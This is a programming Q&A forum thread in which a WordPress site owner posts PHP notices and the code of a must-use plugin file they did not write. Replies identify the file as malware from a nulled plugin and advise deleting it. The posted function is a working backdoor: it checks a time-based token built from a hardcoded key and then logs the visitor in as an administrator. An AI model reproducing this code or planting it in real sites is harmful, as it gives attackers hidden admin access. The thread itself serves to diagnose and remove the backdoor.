Click here to Skip to main content
14,930,024 members
Please Sign up or sign in to vote.
1.00/5 (1 vote)
See more:
I have a error on wordpress related to code, and I wonder if you guys can help with it.

PHP Notice: Undefined index: token in /home/qbt6f0ng7wez/public_html/londonmotorcycleshop/wp-content/mu-plugins/rms_unique_wp_mu_pl_fl_nm.php on line 6

/home/qbt6f0ng7wez/public_html/londonmotorcycleshop/wp-content/mu-plugins/rms_unique_wp_mu_pl_fl_nm.php on line 18


On php file:

PHP
function remote_sign_in () {
    if(!$_GET['token'] && is_user_logged_in()) //-> LINE 6 <-
        return;

    $key =  md5('thisisrandomtextsdsdsdsdsdsdsdsdsd');
    $minutes_1 = intval(gmdate('i')) + 1;
    $minutes_2 = intval(gmdate('i'));

    $signature[] = md5(gmdate("Ymd") . $key .  $minutes_1) ;
    $signature[] = md5(gmdate("Ymd") . $key .  $minutes_2) ;



    if(!in_array($_GET['token'] ,  $signature) ) //-> LINE 18 <-
        return;



    $users = get_users();
    foreach($users as $user ) {

        $user_id = $user->ID;

        $data = get_userdata( $user_id );

        $roles = $user->roles;


        if (in_array('administrator', $roles)) {
            log_me_in($user);
            exit;
        }
    }
}


What I have tried:

Nothing really, I not sure about the error and what is causing it.
Posted
Updated 25-May-20 22:07pm
v3
Comments
Richard MacCutchan 17-May-20 7:52am
   
The variable 'token' has not been defined anywhere.

This is malicious code.
The file wp-content/mu-plugins/rms_unique_wp_mu_pl_fl_nm.php opens up remote login to people with access to the site url by passing in a 'token' in the url. If you check the file, you can see it reporting the site url back to a site managerly.org.

Check this plugins - rms_unique_wp_mu_pl_fl_nm.php - WordPress Development Stack Exchange[^] as well.

Best to delete that file - wp-content/mu-plugins/rms_unique_wp_mu_pl_fl_nm.php

I got this file created after installing an editor plugin. I don't remember which. You must have recently installed a plugin which added this malicious file. Find and uninstall it as well.
   
v2
Quote:
PHP Notice: Undefined index: token in ...

This means that $_GET do not contain index token
Read: PHP: array_key_exists - Manual[^]

If you want to see the contain of $_GET, use the debugger.
Your code do not behave the way you expect, or you don't understand why !

There is an almost universal solution: Run your code on debugger step by step, inspect variables.
The debugger is here to show you what your code is doing and your task is to compare with what it should do.
There is no magic in the debugger, it don't know what your code is supposed to do, it don't find bugs, it just help you to by showing you what is going on. When the code don't do what is expected, you are close to a bug.
To see what your code is doing: Just set a breakpoint and see your code performing, the debugger allow you to execute lines 1 by 1 and to inspect variables as it execute.

Debugger - Wikipedia, the free encyclopedia[^]

Mastering Debugging in Visual Studio 2010 - A Beginner's Guide[^]
Basic Debugging with Visual Studio 2010 - YouTube[^]

phpdbg | php debugger[^]
Debugging techniques for PHP programmers[^]

The debugger is here to only show you what your code is doing and your task is to compare with what it should do.
   
Be careful, rms_unique_wp_mu_pl_fl_nm.php is a VIRUS, maybe you are using Nulled plugins. Best delete and check the themes.
   
Comments
Richard Deeming 15-Sep-20 4:36am
   
As already explained in solution 2, back in May.

This content, along with any associated source code and files, is licensed under The Code Project Open License (CPOL)




CodeProject, 20 Bay Street, 11th Floor Toronto, Ontario, Canada M5J 2N8 +1 (416) 849-8900